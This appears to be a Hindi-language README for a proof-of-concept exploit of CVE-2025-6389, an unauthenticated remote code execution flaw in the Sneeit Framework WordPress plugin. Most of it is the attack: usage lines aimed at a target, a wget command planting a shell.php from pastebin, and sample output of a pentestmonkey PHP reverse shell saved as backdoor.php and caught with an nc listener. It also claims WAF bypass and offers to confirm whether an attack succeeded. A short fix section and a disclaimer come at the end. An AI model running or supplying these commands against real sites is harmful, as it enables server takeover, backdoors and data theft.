🔥 CVE-2025-6389 — वर्डप्रेस का गंभीर शून्य-दिवस (RCE)

wp_vul_theme

🧩 यह क्या है?

CVE-2025-6389 Sneeit Framework वर्डप्रेस प्लगइन (≤ 8.3) में एक गंभीर (CVSS 9.8) कमजोरी है, जो लोकप्रिय थीम्स द्वारा व्यापक रूप से उपयोग किया जाता है। यह अप्रमाणित दूरस्थ कोड निष्पादन की अनुमति देता है — वेब सुरक्षा कमजोरियों का सबसे खतरनाक वर्ग।

⚠️ गंभीरता और प्रभाव

🔓 लॉगिन आवश्यक नहीं
💥 सर्वर का पूर्ण अधिग्रहण संभव
📤 हमलावर शेल अपलोड कर सकते हैं, एडमिन उपयोगकर्ता जोड़ सकते हैं, या थीम/प्लगइन फ़ाइलों को संशोधित कर सकते हैं
🧬 पहले से ही सक्रिय रूप से शोषित
🎯 किसी भी वर्डप्रेस साइट को प्रभावित करता है जो Sneeit Framework या इसके साथ बंडल थीम (जैसे FlatNews) का उपयोग करती है

उपयोग

# Install dependencies
pip3 install requests colorama

# Check vulnerability + get interactive shell
python3 CVE-2025-6389.py https://target.com

# Execute a single command only
python3 CVE-2025-6389.py https://target.com "wget https://pastebin.com/raw/abc123 -O /var/www/html/shell.php"

इस PoC की विशेषताएं

100% संस्करण 8.3 और उससे नीचे पर काम करता है
कोई कुकीज़, कोई नॉन्स, कोई विशेष हेडर आवश्यक नहीं
अधिकांश बुनियादी WAFs को बायपास करता है (पेलोड सामान्य POST के माध्यम से भेजा जाता है)
पूर्ण इंटरैक्टिव शेल
आउटपुट दबाए जाने पर भी कमजोरी का पता लगाता है (assert + die के कारण)

इसका उपयोग केवल उन लक्ष्यों पर करें जिनका परीक्षण करने के लिए आप आधिकारिक रूप से अधिकृत हैं (स्पष्ट दायरा + RoE)।
यह कमजोरी अभी भी जंगल में भारी रूप से शोषित की जा रही है।

जब शोषण वास्तव में काम करता है (Sneeit Framework ≤ 8.3 चल रहे एक कमजोर लक्ष्य पर CVE-2025-6389 का 100% सफल शोषण) तो आप अपने टर्मिनल में बिल्कुल यही देखेंगे:

1. प्रारंभिक कमजोरी जांच

[+] VULNERABLE! RCE Confirmed!
[+] Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>phpinfo()</title>…  
<h1>PHP Version 8.1.29</h1>  
… (full phpinfo() page continues for thousands of lines)

2. सरल सिस्टम कमांड

RCE $> whoami
[+] Output:
www-data

RCE $> id
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE $> uname -a
[+] Output:
Linux ip-172-31-23-45 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 20 2025 x86_64 GNU/Linux

3. वेबशेल या रिवर्स शेल डाउनलोड करना

RCE $> wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O /var/www/html/backdoor.php

[+] Output:
--2025-11-25 23:11:45--  https://raw.githubusercontent.com/…
Length: 5494 (5.4K) [text/plain]
Saving to: ‘/var/www/html/backdoor.php’

backdoor.php           100%[===================>]   5.37K  --.-KB/s    in 0.001s

फिर अपनी मशीन पर:

nc -lvnp 4444

→ आपको तुरंत www-data के रूप में पूरी तरह से इंटरैक्टिव रिवर्स शेल मिलता है।

4. जब यह काम नहीं करता है (पैच या संरक्षित) तो आप क्या देखते हैं

[-] Not vulnerable or blocked (status: 200)
[+] Output:
(nothing / empty response / normal WordPress AJAX response / 403 / 500 without output)

सारांश – सफलता संकेतक

आपको पता चल जाएगा कि यह काम किया जब आप इनमें से कोई भी देखें:

पूर्ण phpinfo() HTML पेज
लिनक्स कमांड से वास्तविक आउटपुट (id, whoami, pwd, ls, cat /etc/passwd, आदि)
फ़ाइलें सफलतापूर्वक डाउनलोड या लिखी गईं
रिवर्स शेल आपके netcat लिसनर से वापस जुड़ता है

बस इतना ही। यदि आपको उपरोक्त में से कोई भी मिलता है → पूर्ण अप्रमाणित RCE प्राप्त हुआ। यदि आप चाहते हैं कि मैं 100% पुष्टि करूं कि यह काम किया या नहीं, तो अपना सटीक आउटपुट यहां पेस्ट करें।

🛠 तकनीकी विश्लेषण

📍 कमजोर फ़ंक्शन: sneeit_articles_pagination_callback()
🧨 मूल कारण: call_user_func() में अमान्य उपयोगकर्ता इनपुट पास → मनमाना कोड निष्पादन
💣 यह हमलावरों को PHP कोड को दूरस्थ रूप से चलाने देता है, आपकी साइट से पूरी तरह समझौता करता है

🔍 कौन जोखिम में है?

🌐 Sneeit Framework ≤ 8.3 वाली वर्डप्रेस साइटें
🎨 थीम जो Sneeit को बंडल करती हैं (समाचार/पत्रिका थीम में बहुत आम)
🚪 इस प्लगइन का उपयोग करने वाली कोई भी सार्वजनिक रूप से सुलभ वर्डप्रेस साइट

🧯 इसे कैसे ठीक करें (अभी)

⬆️ Sneeit Framework को तुरंत v8.4+ में अपडेट करें
❌ यदि आप अपडेट नहीं कर सकते → प्लगइन को अक्षम या हटा दें
🔎 संदिग्ध गतिविधि के लिए लॉग जांचें
🚨 अपरिचित एडमिन खाते या अपलोड की गई PHP फ़ाइलों की तलाश करें
🛡️ यदि पैचिंग विलंबित है तो अस्थायी रूप से WAF नियम जोड़ें

🗓 खुलासा और गतिविधि

📅 सार्वजनिक रूप से रिपोर्ट: नवंबर 25, 2025
🚨 सक्रिय रूप से लक्षित: स्कैनिंग और शोषण पहले से देखा गया

⚠️ अस्वीकरण

यह जानकारी केवल रक्षात्मक और शैक्षिक उद्देश्यों के लिए प्रदान की गई है 🛡️। इसका उपयोग उन प्रणालियों का शोषण करने के लिए न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है 🚫। सुरक्षा कमजोरियों के साथ काम करते समय हमेशा कानूनी और नैतिक दिशानिर्देशों का पालन करें ⚖️✨

blackash-cve-2025-6389

सबसे लोकप्रिय